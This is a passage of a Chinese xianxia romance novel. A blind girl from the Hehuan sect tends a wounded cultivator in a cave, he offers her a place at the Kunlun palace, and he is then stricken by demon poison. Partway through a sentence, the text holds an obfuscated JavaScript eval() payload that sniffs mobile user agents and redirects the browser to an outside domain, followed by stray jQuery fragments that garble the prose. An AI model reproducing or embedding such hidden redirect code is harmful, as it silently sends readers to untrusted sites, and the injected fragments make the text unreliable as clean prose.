细织手帕擦拭着伤口,少女柔软的指腹摩挲着白仰山掌心薄茧,带起阵阵酥麻的痒意。
白仰山见她专注着,低眉垂眼为自己擦手,眼睫仿佛蝶翼般微微颤动。
他比她高出许多,姜枝鹊小小的身躯,刚好到他肩膀处,居高临下地看,巴掌大的脸蛋有些刚刚好的肉圆。
他一时不忍心打扰。
……罢了,事到如今,再收回来也晚了,反倒平白惹姑娘伤心。
白仰山强忍着心中不适,指尖蜷起,淡粉薄唇抿成一条线。
他不习惯与女人这般接触。
“姜姑娘……”他低声道。
姜枝鹊仿佛没有听见,手帕擦过他每一根手指,被浸湿的布料划过肌肤,好像被舔舐过一般。
擦完后,姜枝鹊又摸出另一张手帕,左手轻握白仰山的手腕,右手展开帕子,贴着掌根摸索比划。
“唔……好像太长了。”
白仰山的手指很长,一张小手帕包不住伤口。
“不用包扎,别糟蹋了姑娘的帕子。”白仰山趁机撤回手,藏于袖下。
他连退几步,主动与姜枝鹊拉开距离。
姜枝鹊感受到他的远离,也不多说,只安静地站在原地。
一时间,相顾无言,洞内只剩下轻风拂过的声音。
“白仙君,你走了吗?”
姜枝鹊抬起手,往前一探,似乎想确定白仰山是否还在。
白仰山看见她无助的动作,顿时心生愧疚:“姑娘,我在。”
只是一个盲女而已,哪怕会点术法,也终究是弱小无助的可怜人,他又在计较什么?
在这种危险的地方,她能依靠的只有他。
“回去我定会还姑娘一条手帕。”白仰山道。
姜枝鹊笑了笑:“成大事者不拘小节,这点小事,就不麻烦仙君了,只是一条不值钱的帕子而已。”
白仰山道:“云丝绢可不是一般的料子。”
姜枝鹊心中咯噔一下,没想到他还认得云丝绢,这是他们合欢宗最有名的特产布料,薄若轻纱,自带清香,一撕就坏。
“是吗?”姜枝鹊故作无知,“这些帕子都是收养我的那位道人亲手织的,我还以为……”
白仰山不由地瞥她一眼:“梅师弟之前和我提起过你的身世。照你这么说来,收养你的那位道人是合欢宗的?”
姜枝鹊摇头:“我不知道她出身那个宗门,我只知道,她是养我长大的恩人。”
“修合欢道之人短命,想来应是如此。”白仰山淡淡道,“从灵力来看,你很有修炼天赋,只可惜之前跟错了人。”
姜枝鹊:“仙君这番话,是对合欢宗有意见?”
“末流之宗,歪门邪道,与魔修无异。”白仰山眼中没有一丝情绪,十分冷静地评价道,“合欢宗擅长迷惑别道修士当炉鼎,修炼只为满足一己私欲,实为下作。”
姜枝鹊:“你怎么知道,那些炉鼎是否自愿?”
“双修之法泄灵气,寻常修士最看重灵气修养,怎会自愿。”白仰山说,“姜姑娘若是已经接触此道,还是趁早回头为好。”
“如果有合欢宗女修想对仙君下手,仙君会怎么做?”姜枝鹊问。
白仰山似乎从没考虑过这个问题,他思忖片刻,字如石掷:“斩。”
姜枝鹊沉默一会儿,说:“我并不知道什么合欢道,收养我的道人从未教过我真正的道,她只想我自己去悟。可我找不到自己该去的地方。”
“白仙君,你说我天赋很好,可纵观众仙门,又有谁愿意收一个瞎子为弟子?”
白仰山抿唇,随后说道:“修仙之人,只要心明,眼盲又如何。”
“昆仑神宫会要我这样的弟子吗?”
姜枝鹊问。
白仰山微顿,淡金琥珀瞳中带着几分审视的意味,仔细打量她。
感受到这道目光,姜枝鹊浑身都不自觉地僵硬了些,她不敢直视白仰山的眼睛,只能假装什么也没察觉。
“……”
不知为何,此时此刻姜枝鹊感觉,白仰山并没有她想象中那么柔和。
他看似对谁都不失礼仪,但实际上,他心里也有看不上的人。
白仰山也像其他昆仑神宫的人一样,不把合欢宗人放在眼里。
姜枝鹊很想和他解释,他们合欢宗不是和魔修一样的宗门,但现在怎么也开不了口。
算了。
嘴硬的人,多吃就软了。
姜枝鹊默默记下了这一笔,等以后她拿下他,一定要好好讨回来。
“仙君怎么不说话,是我冒犯了吗?”
白仰山终于收回视线,道:“你若有心,我可以引荐你上神宫。不过,能不能跨过神宫弟子的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902324|176694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门槛,还得看你自己。”
姜枝鹊心中一喜,有机会来了。
“那便多谢仙君了。”
“为神宫引荐新弟子,是我分内之事。时候差不多了,我们该出去……”
白仰山话音未落,喉结滚动,闷哼一声,剑锋似的双眉蹙起。
他退后几步,脸色苍白,抬手一看,刚被清理干净的伤口开始隐隐发黑,黑色痕迹顺着手腕一路向上,已经深入。
“仙君,你好像中毒了。”姜枝鹊担忧道。
白仰山闭了闭眼,立刻调整气息,他也意识到了姜枝鹊所说的魔毒是真的,长剑往墙边一靠,坐下运气驱毒。
姜枝鹊看了看外面一片漆黑的天。
看来暂时是出不去了,希望陈秋霜在梅知宁那边一切安好。
姜枝鹊见白仰山试图强行用内力驱毒,已进入神识状态,猜想着他现在应该也不知道她在干什么。
对身边的陌生女人毫无防备之心,这是觉得她太弱,根本不放在心上,还是觉得她没那个胆子对他做什么?
姜枝鹊想着,抄起靠在墙边的长剑,之前他打量自己那么久,现在轮到她了。
白仰山常用的这把剑名叫断云,曾经在伏魔大会上,姜枝鹊看着他手执此剑与同辈比试,未曾出鞘过几次,便将同辈剑修碾压得抬不起头。
少年天才,像是为他量身打造的四个字。
姜枝鹊抚摸着断云剑,剑柄还残留着他的余温,她抬头,用视线描摹白仰山的轮廓。
不知为何,她忽然很想碰一碰他额间的神印。
冒出这个想法时,姜枝鹊的手已经伸了出去,指尖将要触碰他眉间时,怀中的断云剑忽然飞了出来,横在她脖颈前。
姜枝鹊:“……”
居然这么护主。
姜枝鹊只能默默收回手。
没过一会儿,运气中的白仰山又忽然蹙起眉,小臂上的黑血倒流,试图从伤口涌出,但十分困难。
狼毒性烈,不到一会儿,他半边手臂变成一片乌青。
姜枝鹊看得触目惊心,犹豫片刻后,拍了拍断云剑的剑鞘:“不准闹,等会儿我要帮你主人。”
断云剑似乎也感受到白仰山所承受的疼痛,对姜枝鹊接下来的出格行为视若无睹。
姜枝鹊慢慢靠近白仰山,深吸一口气,低腰俯身,粉唇微张——